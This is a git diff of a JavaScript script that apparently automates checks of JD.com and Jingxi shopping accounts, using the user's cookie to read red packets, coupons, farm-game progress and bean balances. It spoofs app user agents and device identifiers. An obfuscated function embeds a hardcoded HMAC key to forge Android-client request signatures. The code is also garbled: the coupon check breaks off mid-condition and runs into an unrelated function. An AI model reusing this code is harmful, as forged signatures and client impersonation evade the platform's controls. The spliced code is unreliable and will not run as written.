&& vo.orgLimitStr.includes("京东健康")) { + $.jdhRed += parseFloat(vo.balance) + if (vo['endTime'] === t) { + $.jdhRedExpire += parseFloat(vo.balance) + } + } else { + $.jdRed += parseFloat(vo.balance) + if (vo['endTime'] === t) { + $.jdRedExpire += parseFloat(vo.balance) + } + } + } + $.jxRed = $.jxRed.toFixed(2); + $.jsRed = $.jsRed.toFixed(2); + $.jdRed = $.jdRed.toFixed(2); + $.jdhRed = $.jdhRed.toFixed(2); + $.balance = data.balance; + $.expiredBalance = ($.jxRedExpire + $.jsRedExpire + $.jdRedExpire).toFixed(2); + $.message += `【红包总额】${$.balance}(总过期${$.expiredBalance})元 \n`; + if ($.jxRed > 0) + $.message += `【京喜红包】${$.jxRed}(将过期${$.jxRedExpire.toFixed(2)})元 \n`; + if ($.jsRed > 0) + $.message += `【极速红包】${$.jsRed}(将过期${$.jsRedExpire.toFixed(2)})元 \n`; + if ($.jdRed > 0) + $.message += `【京东红包】${$.jdRed}(将过期${$.jdRedExpire.toFixed(2)})元 \n`; + if ($.jdhRed > 0) + $.message += `【健康红包】${$.jdhRed}(将过期${$.jdhRedExpire.toFixed(2)})元 \n`; + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } + finally { + resolve(data); + } + }) + }) +} + +function getCoupon() { + return new Promise(resolve => { + let options = { + url: `https://wq.jd.com/activeapi/queryjdcouponlistwithfinance?state=1&wxadd=1&filterswitch=1&_=${Date.now()}&sceneval=2&g_login_type=1&callback=jsonpCBKB&g_ty=ls`, + headers: { + 'authority': 'wq.jd.com', + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'accept': '*/*', + 'referer': 'https://wqs.jd.com/', + 'accept-language': 'zh-CN,zh;q=0.9,en;q=0.8', + 'cookie': cookie + }, + timeout: 10000 + } + $.get(options, async(err, resp, data) => { + try { + data = JSON.parse(data.match(new RegExp(/jsonpCBK.?\((.*);*/))[1]); + let couponTitle = ''; + let couponId = ''; + // 删除可使用且非超市、生鲜、京贴; + let useable = data.coupon.useable; + $.todayEndTime = new Date(new Date(new Date().getTime()).setHours(23, 59, 59, 999)).getTime(); + $.tomorrowEndTime = new Date(new Date(new Date().getTime() + 24 * 60 * 60 * 1000).setHours(23, 59, 59, 999)).getTime(); + $.platFormInfo=""; + for (let i = 0; i < useable.length; i++) { + //console.log(useable[i]); + if (useable[i].limitStr.indexOf('全品类') > -1) { + $.beginTime = useable[i].beginTime; + if ($.beginTime < new Date().getTime() && useable[i].quota < 20 && useable[i].coupontype === 1) { + //$.couponEndTime = new Date(parseInt(useable[i].endTime)).Format('yyyy-MM-dd'); + $.couponName = useable[i].limitStr; + if (useable[i].platFormInfo) + $.platFormInfo = useable[i].platFormInfo; + + var decquota=parseFloat(useable[i].quota).toFixed(2); + var decdisc= parseFloat(useable[i].discount).toFixed(2); + + $.message += `【全品类券】满${decquota}减${decdisc}元`; + + if (useable[i].endTime < $.todayEndTime) { + $.message += `(今日过期,${$.platFormInfo})\n`; + } else if (useable[i].endTime < $.tomorrowEndTime) { + $.message += `(明日将过期,${$.platFormInfo})\n`; + } else { + $.message += `(${$.platFormInfo})\n`; + } + + } + } + if (useable[i].couponTitle.indexOf('运费券') > -1 && useable[i].limitStr.indexOf('自营商品运费') > -1) { + if (!$.YunFeiTitle) { + $.YunFeiTitle = useable[i].couponTitle; + $.YunFeiQuanEndTime = new Date(parseInt(useable[i].endTime)).Format('yyyy-MM-dd'); + $.YunFeiQuan += 1; + } else { + if ($.YunFeiTitle == useable[i].couponTitle) { + $.YunFeiQuanEndTime = new Date(parseInt(useable[i].endTime)).Format('yyyy-MM-dd'); + $.YunFeiQuan += 1; + } else { + if (!$.YunFeiTitle2) + $.YunFeiTitle2 = useable[i].couponTitle; + + if ($.YunFeiTitle2 == useable[i].couponTitle) { + $.YunFeiQuanEndTime2 = new Date(parseInt(useable[i].endTime)).Format('yyyy-MM-dd'); + $.YunFeiQuan2 += 1; + } + } + + } + + } + if (useable[i].couponTitle.indexOf('极速版APP活动') > -1 && useable[i].limitStr=='仅可购买活动商品') { + $.beginTime = useable[i].beginTime; + if ($.beginTime < new Date().getTime() && useable[i].coupontype === 1) { + if (useable[i].platFormInfo) + $.platFormInfo = useable[i].platFormInfo; + var decquota=parseFloat(useable[i].quota).toFixed(2); + var decdisc= parseFloat(useable[i].discount).toFixed(2); + + $.message += `【极速版券】满${decquota}减${decdisc}元`; + + if (useable[i].endTime < $.todayEndTime) { + $.message += `(今日过期,${$.platFormInfo})\n`; + } else if (useable[i].endTime < $.tomorrowEndTime) { + $.message += `(明日将过期,${$.platFormInfo})\n`; + } else { + $.message += `(${$.platFormInfo})\n`; + } + + } + + } + //8是支付券, 7是白条券 + if (useable[i].couponStyle == 7 || useable[i].couponStyle == 8) { + $.beginTime = useable[i].beginTime; + if ($.beginTime > new Date().getTime() || useable[i].quota > 50 || useable[i].coupontype != 1) { + continue; + } + + if (useable[i].couponStyle == 8) { + $.couponType = "支付立减"; + }else{ + $.couponType = "白条优惠"; + } + if(useable[i].discount { + $.get(taskJDZZUrl("interactTaskIndex"), async(err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`); + console.log(`京东赚赚API请求失败,请检查网路重试`); + } else { + if (safeGet(data)) { + data = JSON.parse(data); + $.JdzzNum = data.data.totalNum; + } + } + } catch (e) { + //$.logErr(e, resp) + console.log(`京东赚赚数据获取失败`); + } + finally { + resolve(data); + } + }) + }) +} + +function taskJDZZUrl(functionId, body = {}) { + return { + url: `${JD_API_HOST}?functionId=${functionId}&body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=9.1.0`, + headers: { + 'Cookie': cookie, + 'Host': 'api.m.jd.com', + 'Connection': 'keep-alive', + 'Content-Type': 'application/json', + 'Referer': 'http://wq.jd.com/wxapp/pages/hd-interaction/index/index', + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Accept-Language': 'zh-cn', + 'Accept-Encoding': 'gzip, deflate, br', + }, + timeout: 10000 + } +} + +function getMs() { + if (!EnableJdMs) + return; + return new Promise(resolve => { + $.post(taskMsPostUrl('homePageV2', {}, 'appid=SecKill2020'), (err, resp, data) => { + try { + if (err) { + console.log(`${err},${jsonParse(resp.body)['message']}`) + console.log(`getMs API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + //console.log("Debug :" + JSON.stringify(data)); + data = JSON.parse(data); + if (data.result.assignment.assignmentPoints) { + $.JdMsScore = data.result.assignment.assignmentPoints || 0 + } + } + } + } catch (e) { + $.logErr(e, resp) + } + finally { + resolve(data); + } + }) + }) +} + +function taskMsPostUrl(function_id, body = {}, extra = '', function_id2) { + let url = `${JD_API_HOST}`; + if (function_id2) { + url += `?functionId=${function_id2}`; + } + return { + url, + body: `functionId=${function_id}&body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=1.0.0&${extra}`, + headers: { + "Cookie": cookie, + "origin": "https://h5.m.jd.com", + "referer": "https://h5.m.jd.com/babelDiy/Zeus/2NUvze9e1uWf4amBhe1AV6ynmSuH/index.html", + 'Content-Type': 'application/x-www-form-urlencoded', + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + }, + timeout: 10000 + } +} + +function jdfruitRequest(function_id, body = {}, timeout = 1000) { + return new Promise(resolve => { + setTimeout(() => { + $.get(taskfruitUrl(function_id, body), (err, resp, data) => { + try { + if (err) { + console.log('\n东东农场: API查询请求失败 ‼️‼️') + console.log(JSON.stringify(err)); + console.log(`function_id:${function_id}`) + $.logErr(err); + } else { + if (safeGet(data)) { + data = JSON.parse(data); + $.JDwaterEveryDayT = data.totalWaterTaskInit.totalWaterTaskTimes; + } + } + } catch (e) { + $.logErr(e, resp); + } + finally { + resolve(data); + } + }) + }, timeout) + }) +} + +async function getjdfruitinfo() { + if (EnableJdFruit) { + llgeterror = false; + + await jdfruitRequest('taskInitForFarm', { + "version": 14, + "channel": 1, + "babelChannel": "120" + }); + + await getjdfruit(); + if (llgeterror) { + console.log(`东东农场API查询失败,等待10秒后再次尝试...`) + await $.wait(10 * 1000); + await getjdfruit(); + } + if (llgeterror) { + console.log(`东东农场API查询失败,有空重启路由器换个IP吧.`) + } + + } + return; +} + +async function GetJxBeaninfo() { + await GetJxBean(), + await jxbean(); + return; +} + +async function getjdfruit() { + return new Promise(resolve => { + const option = { + url: `${JD_API_HOST}?functionId=initForFarm`, + body: `body=${escape(JSON.stringify({"version":4}))}&appid=wh5&clientVersion=9.1.0`, + headers: { + "accept": "*/*", + "accept-encoding": "gzip, deflate, br", + "accept-language": "zh-CN,zh;q=0.9", + "cache-control": "no-cache", + "cookie": cookie, + "origin": "https://home.m.jd.com", + "pragma": "no-cache", + "referer": "https://home.m.jd.com/myJd/newhome.action", + "sec-fetch-dest": "empty", + "sec-fetch-mode": "cors", + "sec-fetch-site": "same-site", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Content-Type": "application/x-www-form-urlencoded" + }, + timeout: 10000 + }; + $.post(option, (err, resp, data) => { + try { + if (err) { + if(!llgeterror){ + console.log('\n东东农场: API查询请求失败 ‼️‼️'); + console.log(JSON.stringify(err)); + } + llgeterror = true; + } else { + llgeterror = false; + if (safeGet(data)) { + $.farmInfo = JSON.parse(data) + if ($.farmInfo.farmUserPro) { + $.JdFarmProdName = $.farmInfo.farmUserPro.name; + $.JdtreeEnergy = $.farmInfo.farmUserPro.treeEnergy; + $.JdtreeTotalEnergy = $.farmInfo.farmUserPro.treeTotalEnergy; + $.treeState = $.farmInfo.treeState; + let waterEveryDayT = $.JDwaterEveryDayT; + let waterTotalT = ($.farmInfo.farmUserPro.treeTotalEnergy - $.farmInfo.farmUserPro.treeEnergy - $.farmInfo.farmUserPro.totalEnergy) / 10; //一共还需浇多少次水 + let waterD = Math.ceil(waterTotalT / waterEveryDayT); + + $.JdwaterTotalT = waterTotalT; + $.JdwaterD = waterD; + } + } + } + } catch (e) { + $.logErr(e, resp) + } + finally { + resolve(); + } + }) + }) +} + +async function PetRequest(function_id, body = {}) { + await $.wait(3000); + return new Promise((resolve, reject) => { + $.post(taskPetUrl(function_id, body), (err, resp, data) => { + try { + if (err) { + llPetError=true; + console.log('\n东东萌宠: API查询请求失败 ‼️‼️'); + console.log(JSON.stringify(err)); + $.logErr(err); + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } + finally { + resolve(data) + } + }) + }) +} +function taskPetUrl(function_id, body = {}) { + body["version"] = 2; + body["channel"] = 'app'; + return { + url: `${JD_API_HOST}?functionId=${function_id}`, + body: `body=${escape(JSON.stringify(body))}&appid=wh5&loginWQBiz=pet-town&clientVersion=9.0.4`, + headers: { + 'Cookie': cookie, + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Host': 'api.m.jd.com', + 'Content-Type': 'application/x-www-form-urlencoded', + }, + timeout: 10000 + }; +} + +function taskfruitUrl(function_id, body = {}) { + return { + url: `${JD_API_HOST}?functionId=${function_id}&body=${encodeURIComponent(JSON.stringify(body))}&appid=wh5`, + headers: { + "Host": "api.m.jd.com", + "Accept": "*/*", + "Origin": "https://carry.m.jd.com", + "Accept-Encoding": "gzip, deflate, br", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-CN,zh-Hans;q=0.9", + "Referer": "https://carry.m.jd.com/", + "Cookie": cookie + }, + timeout: 10000 + } +} + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} + +function cash() { + if (!EnableJdSpeed) + return; + return new Promise(resolve => { + $.get(taskcashUrl('MyAssetsService.execute', { + "method": "userCashRecord", + "data": { + "channel": 1, + "pageNum": 1, + "pageSize": 20 + } + }), + async(err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`cash API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.data.goldBalance) + $.JDtotalcash = data.data.goldBalance; + else + console.log(`领现金查询失败,服务器没有返回具体值.`) + } + } + } catch (e) { + $.logErr(e, resp) + } + finally { + resolve(data); + } + }) + }) +} + +var __Oxb24bc = ["lite-android&", "stringify", "&android&3.1.0&", "&", "&846c4c32dae910ef", "12aea658f76e453faf803d15c40a72e0", "isNode", "crypto-js", "", "api?functionId=", "&body=", "&appid=lite-android&client=android&uuid=846c4c32dae910ef&clientVersion=3.1.0&t=", "&sign=", "api.m.jd.com", "*/*", "RN", "JDMobileLite/3.1.0 (iPad; iOS 14.4; Scale/2.00)", "zh-Hans-CN;q=1, ja-CN;q=0.9", "undefined", "log", "", "", "", "", "jsjia", "mi.com"]; + +function taskcashUrl(_0x7683x2, _0x7683x3 = {}) { + let _0x7683x4 = +new Date(); + let _0x7683x5 = `${__Oxb24bc[0x0]}${JSON[__Oxb24bc[0x1]](_0x7683x3)}${__Oxb24bc[0x2]}${_0x7683x2}${__Oxb24bc[0x3]}${_0x7683x4}${__Oxb24bc[0x4]}`; + let _0x7683x6 = __Oxb24bc[0x5]; + const _0x7683x7 = $[__Oxb24bc[0x6]]() ? require(__Oxb24bc[0x7]) : CryptoJS; + let _0x7683x8 = _0x7683x7.HmacSHA256(_0x7683x5, _0x7683x6).toString(); + return { + url: `${__Oxb24bc[0x8]}${JD_API_HOST}${__Oxb24bc[0x9]}${_0x7683x2}${__Oxb24bc[0xa]}${escape(JSON[__Oxb24bc[0x1]](_0x7683x3))}${__Oxb24bc[0xb]}${_0x7683x4}${__Oxb24bc[0xc]}${_0x7683x8}${__Oxb24bc[0x8]}`, + headers: { + 'Host': __Oxb24bc[0xd], + 'accept': __Oxb24bc[0xe], + 'kernelplatform': __Oxb24bc[0xf], + 'user-agent': __Oxb24bc[0x10], + 'accept-language': __Oxb24bc[0x11], + 'Cookie': cookie + }, + timeout: 10000 + } +} +(function (_0x7683x9, _0x7683xa, _0x7683xb, _0x7683xc, _0x7683xd, _0x7683xe) { + _0x7683xe = __Oxb24bc[0x12]; + _0x7683xc = function (_0x7683xf) { + if (typeof alert !== _0x7683xe) { + alert(_0x7683xf) + }; + if (typeof console !== _0x7683xe) { + console[__Oxb24bc[0x13]](_0x7683xf) + } + }; + _0x7683xb = function (_0x7683x7, _0x7683x9) { + return _0x7683x7 + _0x7683x9 + }; + _0x7683xd = _0x7683xb(__Oxb24bc[0x14], _0x7683xb(_0x7683xb(__Oxb24bc[0x15], __Oxb24bc[0x16]), __Oxb24bc[0x17])); + try { + _0x7683x9 = __encode; + if (!(typeof _0x7683x9 !== _0x7683xe && _0x7683x9 === _0x7683xb(__Oxb24bc[0x18], __Oxb24bc[0x19]))) { + _0x7683xc(_0x7683xd) + } + } catch (e) { + _0x7683xc(_0x7683xd) + } +})({}) + +async function JxmcGetRequest() { + let url = ``; + let myRequest = ``; + url = `https://m.jingxi.com/jxmc/queryservice/GetHomePageInfo?channel=7&sceneid=1001&activeid=null&activekey=null&isgift=1&isquerypicksite=1&_stk=channel%2Csceneid&_ste=1`; + url += `&h5st=${decrypt(Date.now(), '', '', url)}&_=${Date.now() + 2}&sceneval=2&g_login_type=1&callback=jsonpCBK${String.fromCharCode(Math.floor(Math.random() * 26) + "A".charCodeAt(0))}&g_ty=ls`; + myRequest = getGetRequest(`GetHomePageInfo`, url); + + return new Promise(async resolve => { + $.get(myRequest, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`JxmcGetRequest API请求失败,请检查网路重试`) + $.runFlag = false; + console.log(`请求失败`) + } else { + data = JSON.parse(data.match(new RegExp(/jsonpCBK.?\((.*);*/))[1]); + if (data.ret === 0) { + $.JDEggcnt = data.data.eggcnt; + } + } + } catch (e) { + console.log(data); + $.logErr(e, resp) + } + finally { + resolve(); + } + }) + }) +} + +// 惊喜工厂信息查询 +async function getJxFactory() { + if (!EnableJxGC) + return; + return new Promise(async resolve => { + let infoMsg = ""; + let strTemp = ""; + await $.get(jxTaskurl('userinfo/GetUserInfo', `pin=&sharePin=&shareType=&materialTuanPin=&materialTuanId=&source=`, '_time,materialTuanId,materialTuanPin,pin,sharePin,shareType,source,zone'), async(err, resp, data) => { + try { + if (err) { + $.jxFactoryInfo = ""; + //console.log("jx工厂查询失败" + err) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['ret'] === 0) { + data = data['data']; + $.unActive = true; //标记是否开启了京喜活动或者选购了商品进行生产 + if (data.factoryList && data.productionList) { + const production = data.productionList[0]; + const factory = data.factoryList[0]; + //const productionStage = data.productionStage; + $.commodityDimId = production.commodityDimId; + // subTitle = data.user.pin; + await GetCommodityDetails(); //获取已选购的商品信息 + infoMsg = `${$.jxProductName}(${((production.investedElectric / production.needElectric) * 100).toFixed(0)}%`; + if (production.investedElectric >= production.needElectric) { + if (production['exchangeStatus'] === 1) { + infoMsg = `${$.jxProductName}已可兑换`; + $.jxFactoryReceive = `${$.jxProductName}`; + } + if (production['exchangeStatus'] === 3) { + if (new Date().getHours() === 9) { + infoMsg = `兑换超时,请重选商品!`; + } + } + // await exchangeProNotify() + } else { + strTemp = `,${((production.needElectric - production.investedElectric) / (2 * 60 * 60 * 24)).toFixed(0)}天)`; + if (strTemp == ",0天)") + infoMsg += ",今天)"; + else + infoMsg += strTemp; + } + if (production.status === 3) { + infoMsg = "商品已失效,请重选商品!"; + } + } else { + $.unActive = false; //标记是否开启了京喜活动或者选购了商品进行生产 + if (!data.factoryList) { + infoMsg = "" + // $.msg($.name, '【提示】', `京东账号${$.index}[${$.nickName}]京喜工厂活动未开始\n请手动去京东APP->游戏与互动->查看更多->京喜工厂 开启活动`); + } else if (data.factoryList && !data.productionList) { + infoMsg = "" + } + } + } + } else { + console.log(`GetUserInfo异常:${JSON.stringify(data)}`) + } + } + $.jxFactoryInfo = infoMsg; + // console.log(infoMsg); + } catch (e) { + $.logErr(e, resp) + } + finally { + resolve(); + } + }) + }) +} + +// 惊喜的Taskurl +function jxTaskurl(functionId, body = '', stk) { + let url = `https://m.jingxi.com/dreamfactory/${functionId}?zone=dream_factory&${body}&sceneval=2&g_login_type=1&_time=${Date.now()}&_=${Date.now() + 2}&_ste=1` + url += `&h5st=${decrypt(Date.now(), stk, '', url)}` + if (stk) { + url += `&_stk=${encodeURIComponent(stk)}`; + } + return { + url, + headers: { + 'Cookie': cookie, + 'Host': 'm.jingxi.com', + 'Accept': '*/*', + 'Connection': 'keep-alive', + 'User-Agent': functionId === 'AssistFriend' ? "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36" : 'jdpingou', + 'Accept-Language': 'zh-cn', + 'Referer': 'https://wqsd.jd.com/pingou/dream_factory/index.html', + 'Accept-Encoding': 'gzip, deflate, br', + }, + timeout: 10000 + } +} + +//惊喜查询当前生产的商品名称 +function GetCommodityDetails() { + return new Promise(async resolve => { + // const url = `/dreamfactory/diminfo/GetCommodityDetails?zone=dream_factory&sceneval=2&g_login_type=1&commodityId=${$.commodityDimId}`; + $.get(jxTaskurl('diminfo/GetCommodityDetails', `commodityId=${$.commodityDimId}`, `_time,commodityId,zone`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`GetCommodityDetails API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['ret'] === 0) { + data = data['data']; + $.jxProductName = data['commodityList'][0].name; + } else { + console.log(`GetCommodityDetails异常:${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } + finally { + resolve(); + } + }) + }) +} + +// 东东工厂信息查询 +async function getDdFactoryInfo() { + if (!EnableJDGC) + return; + // 当心仪的商品存在,并且收集起来的电量满足当前商品所需,就投入 + let infoMsg = ""; + return new Promise(resolve => { + $.post(ddFactoryTaskUrl('jdfactory_getHomeData'), async(err, resp, data) => { + try { + if (err) { + $.ddFactoryInfo = "获取失败!" + /*console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`)*/ + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.data.bizCode === 0) { + // $.newUser = data.data.result.newUser; + //let wantProduct = $.isNode() ? (process.env.FACTORAY_WANTPRODUCT_NAME ? process.env.FACTORAY_WANTPRODUCT_NAME : wantProduct) : ($.getdata('FACTORAY_WANTPRODUCT_NAME') ? $.getdata('FACTORAY_WANTPRODUCT_NAME') : wantProduct); + if (data.data.result.factoryInfo) { + let { + totalScore, + useScore, + produceScore, + remainScore, + couponCount, + name + } = data.data.result.factoryInfo; + if (couponCount == 0) { + infoMsg = `${name} 没货了,死了这条心吧!` + } else { + infoMsg = `${name}(${((remainScore * 1 + useScore * 1) / (totalScore * 1)* 100).toFixed(0)}%,剩${couponCount})` + } + if (((remainScore * 1 + useScore * 1) >= totalScore * 1 + 100000) && (couponCount * 1 > 0)) { + // await jdfactory_addEnergy(); + infoMsg = `${name} 可以兑换了!` + $.DdFactoryReceive = `${name}`; + + } + + } else { + infoMsg = `` + } + } else { + $.ddFactoryInfo = "" + } + } + } + $.ddFactoryInfo = infoMsg; + } catch (e) { + $.logErr(e, resp) + } + finally { + resolve(); + } + }) + }) +} + +function ddFactoryTaskUrl(function_id, body = {}, function_id2) { + let url = `${JD_API_HOST}`; + if (function_id2) { + url += `?functionId=${function_id2}`; + } + return { + url, + body: `functionId=${function_id}&body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=1.1.0`, + headers: { + "Accept": "application/json, text/plain, */*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Content-Type": "application/x-www-form-urlencoded", + "Cookie": cookie, + "Host": "api.m.jd.com", + "Origin": "https://h5.m.jd.com", + "Referer": "https://h5.m.jd.com/babelDiy/Zeus/2uSsV2wHEkySvompfjB43nuKkcHp/index.html", + "User-Agent": "jdapp;iPhone;9.3.4;14.3;88732f840b77821b345bf07fd71f609e6ff12f43;network/4g;ADID/1C141FDD-C62F-425B-8033-9AAB7E4AE6A3;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone11,8;addressid/2005183373;supportBestPay/0;appBuild/167502;jdSupportDarkMode/0;pv/414.19;apprpd/Babel_Native;ref/TTTChannelViewContoller;psq/5;ads/;psn/88732f840b77821b345bf07fd71f609e6ff12f43|1701;jdv/0|iosapp|t_335139774|appshare|CopyURL|1610885480412|1610885486;adk/;app_device/IOS;pap/JA2015_311210|9.3.4|IOS 14.3;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + }, + timeout: 10000 + } +} + +async function getJoyBaseInfo(taskId = '', inviteType = '', inviterPin = '') { + if (!EnableJoyPark) + return; + return new Promise(resolve => { + $.post(taskPostClientActionUrl(`body={"taskId":"${taskId}","inviteType":"${inviteType}","inviterPin":"${inviterPin}","linkId":"LsQNxL7iWDlXUs6cFl-AAg"}&appid=activities_platform`), async(err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`汪汪乐园 API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.success) { + $.joylevel = data.data.level; + } + } + } catch (e) { + $.logErr(e, resp) + } + finally { + resolve(); + } + }) + }) +} +function taskPostClientActionUrl(body) { + return { + url: `https://api.m.jd.com/client.action?functionId=joyBaseInfo`, + body: body, + headers: { + 'User-Agent': $.user_agent, + 'Content-Type': 'application/x-www-form-urlencoded', + 'Host': 'api.m.jd.com', + 'Origin': 'https://joypark.jd.com', + 'Referer': 'https://joypark.jd.com/?activityId=LsQNxL7iWDlXUs6cFl-AAg&lng=113.387899&lat=22.512678&sid=4d76080a9da10fbb31f5cd43396ed6cw&un_area=19_1657_52093_0', + 'Cookie': cookie, + }, + timeout: 10000 + } +} + +function taskJxUrl(functionId, body = '') { + let url = ``; + var UA = `jdpingou;iPhone;4.13.0;14.4.2;${randomString(40)};network/wifi;model/iPhone10,2;appBuild/100609;supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/1;hasOCPay/0;supportBestPay/0;session/${Math.random * 98 + 1};pap/JA2019_3111789;brand/apple;supportJDSHWK/1;Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148`; + + if (body) { + url = `https://m.jingxi.com/activeapi/${functionId}?${body}`; + url += `&_=${Date.now() + 2}&sceneval=2&g_login_type=1&callback=jsonpCBK${String.fromCharCode(Math.floor(Math.random() * 26) + "A".charCodeAt(0))}&g_ty=ls`; + } else { + url = `https://m.jingxi.com/activeapi/${functionId}?_=${Date.now() + 2}&sceneval=2&g_login_type=1&callback=jsonpCBK${String.fromCharCode(Math.floor(Math.random() * 26) + "A".charCodeAt(0))}&g_ty=ls`; + } + return { + url, + headers: { + "Host": "m.jingxi.com", + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "User-Agent": UA, + "Accept-Language": "zh-CN,zh-Hans;q=0.9", + "Referer": "https://st.jingxi.com/", + "Cookie": cookie + }, + timeout: 10000 + } +} + + +function GetJxBeanDetailData() { + return new Promise((resolve) => { + $.get(taskJxUrl("queryuserjingdoudetail","pagesize=10&type=16"), async (err, resp, data) => { + try { + if (err) { + console.log(JSON.stringify(err)); + console.log(`GetJxBeanDetailData请求失败,请检查网路重试`); + } else { + data = JSON.parse(data.match(new RegExp(/jsonpCBK.?\((.*);*/))[1]); + + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }); + }); +} +function GetJxBean() { + if (!EnableJxBeans) + return; + return new Promise((resolve) => { + $.get(taskJxUrl("querybeanamount"), async(err, resp, data) => { + try { + if (err) { + console.log(JSON.stringify(err)); + console.log(`GetJxBean请求失败,请检查网路重试`); + } else { + data = JSON.parse(data.match(new RegExp(/jsonpCBK.?\((.*);*/))[1]); + if (data) { + if (data.errcode == 0) { + $.xibeanCount = data.data.xibean; + if (!$.beanCount) { + $.beanCount = data.data.jingbean; + } + } + } + } + } catch (e) { + $.logErr(e, resp); + } + finally { + resolve(data); + } + }); + }); +} +async function jxbean() { + if (!EnableJxBeans) + return; + //前一天的0:0:0时间戳 + const tm = parseInt((Date.now() + 28800000) / 86400000) * 86400000 - 28800000 - (24 * 60 * 60 * 1000); + // 今天0:0:0时间戳 + const tm1 = parseInt((Date.now() + 28800000) / 86400000) * 86400000 - 28800000; + var JxYesterdayArr = [], + JxTodayArr = []; + var JxResponse = await GetJxBeanDetailData(); + if (JxResponse && JxResponse.ret == "0") { + var Jxdetail = JxResponse.detail; + if (Jxdetail && Jxdetail.length > 0) { + for (let item of Jxdetail) { + const date = item.createdate.replace(/-/g, '/') + "+08:00"; + if (new Date(date).getTime() >= tm1 && (!item['visibleinfo'].includes("退还") && !item['visibleinfo'].includes('扣赠'))) { + JxTodayArr.push(item); + } else if (tm <= new Date(date).getTime() && new Date(date).getTime() < tm1 && (!item['visibleinfo'].includes("退还") && !item['visibleinfo'].includes('扣赠'))) { + //昨日的 + JxYesterdayArr.push(item); + } else if (tm > new Date(date).getTime()) { + break; + } + } + } else { + $.errorMsg = `数据异常`; + $.msg($.name, ``, `账号${$.index}:${$.nickName}\n${$.errorMsg}`); + } + + for (let item of JxYesterdayArr) { + if (Number(item.amount) > 0) { + $.inJxBean += Number(item.amount); + } else if (Number(item.amount) < 0) { + $.OutJxBean += Number(item.amount); + } + } + for (let item of JxTodayArr) { + if (Number(item.amount) > 0) { + 